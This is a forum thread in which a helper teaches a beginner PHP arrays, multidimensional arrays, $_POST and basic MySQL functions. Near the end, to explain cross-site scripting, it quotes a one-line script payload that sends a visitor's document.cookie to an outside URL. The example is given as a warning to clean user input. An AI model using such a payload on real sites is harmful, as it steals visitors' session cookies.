You're welcome
The person who wrote it also wrote a few other helpful tutorials - http://devzone.zend.com/node/view/id/627

You're welcome
The person who wrote it also wrote a few other helpful tutorials - http://devzone.zend.com/node/view/id/627
You're welcome
The person who wrote it also wrote a few other helpful tutorials - http://devzone.zend.com/node/view/id/627
Thanks!![]()
Back for a while![]()
I'll try to explain this in my own words.
An array is a structured container for information. Imagine it like a database table.
If you compare it to a variable, variables can only store one thing. It can store only one thing.. and you call it $blah.
Arrays though, can store multiple things, structured inside of it's system.
Imagine a variable like a file, it can hold contents.. but an Array like an entire file system.. it can hold folders, files, etc.
Each array has items inside it, they are structured with a key (imagine this like an ID), and a value.
Each key has a value, they can also be null (blank).
The key on the left side is what you call from PHP.
But keys do not have to be numbers.. imagine you have an array like this.PHP Code:$users = array("caleb", "obulus", "sierk");
echo $users[0]; // would display: caleb
echo $users[1]; // would display: obulus
You have the key to be the user's username, and the value to be their full name.
So in this case, if we have this array:
But arrays can get more complicated then this.. next we have multidimensional arrays.. these add even more structure to them..PHP Code:<?php
$users = array("caleb" => "caleb mingle", "obulus" => "obulus slobulus", "sierk" => "sierk rosema");
/* If we do.. */
echo $users[0]; // it will not display anything.. because we do not have a 0 key.
/* If we do.. */
echo $users["caleb"]; // it will display: caleb mingle
echo $users["obulus"]; // it will display: obulus slobulus
?>
Hopefully this has helped a little bitPHP Code:<?php
/* lets setup the array.. */
$users = array("caleb" => array("username" => "caleb", "dob" => "6-26-89", "email" => "[email protected]", "homepage" => "http://dentafrice.com"), "sierk" => array("username" => "sierk", "email" => "[email protected]"));
// notice we have arrays.. inside of arrays.. but how do we access this?
// to get caleb's homepage.. we do this:
echo $users["caleb"]["homepage"]; // this accesses homepage, inside of caleb.
echo $users["sierk"]["homepage"]; // this will display nothing, it's not set.
echo $users["caleb"]; // will echo nothing, it has no value.
?>![]()
That was amazing,
Just one quick question,
I see how they are formed and used but in which sort of php application might you see them, and can you put vars in arrays?
Thanks, Rep given!![]()
Back for a while![]()
Yeah, you can put variables in to arrays.
mysql_fetch_array() pulls results from the database in an array.PHP Code:$username = "Caleb";
$email = "[email protected]";
$users = array("username" => $username, "email" => $email);
You can use them for multiple things, I can't really think of any specifics that you could understand other then what I showed you.
It's basically to structure and store data.
$_POST is an array..
$_POST["blah"], that's an array.
Array $_POST
"blah" - hello
Hello is the value posted, blah is the field from the form. That's an example ;P
Oh! So when a user submits data in a form, you can grab the information and displt from the form before, so say like a form which has name, email and comment, you could in the follow up page display ''Thanks Callum for your comment'' and the Callum would obviously have come from the form input before?
Ty for the help again =D
Back for a while![]()
Yep, but you would need to clean it before displaying it to prevent XSS.
Whats XSS?
tehe, i feel like such a noooob asking all these questions ^^ tehe
Back for a while![]()
Cross Site Scripting.
Meaning someone could type something in an input, or a GET, and you display it on a page without cleaning it.
Someone could type <script type="text/javascript">window.location = "http://mysite.com/blah.php?data=" + document.cookie;</script> and it would redirect them to that stealing a cookie.
They could also mess up the page through XSS, and change things.
If you going to be working with databases, then another must know will be MySQL
http://uk.php.net/mysql
You only need to know three functions for basics.
mysql_connect - http://uk.php.net/manual/en/function.mysql-connect.php
mysql_query - http://uk.php.net/manual/en/function.mysql-query.php
mysql_fetch_array - http://uk.php.net/manual/en/function...etch-array.php
Want to hide these adverts? Register an account for free!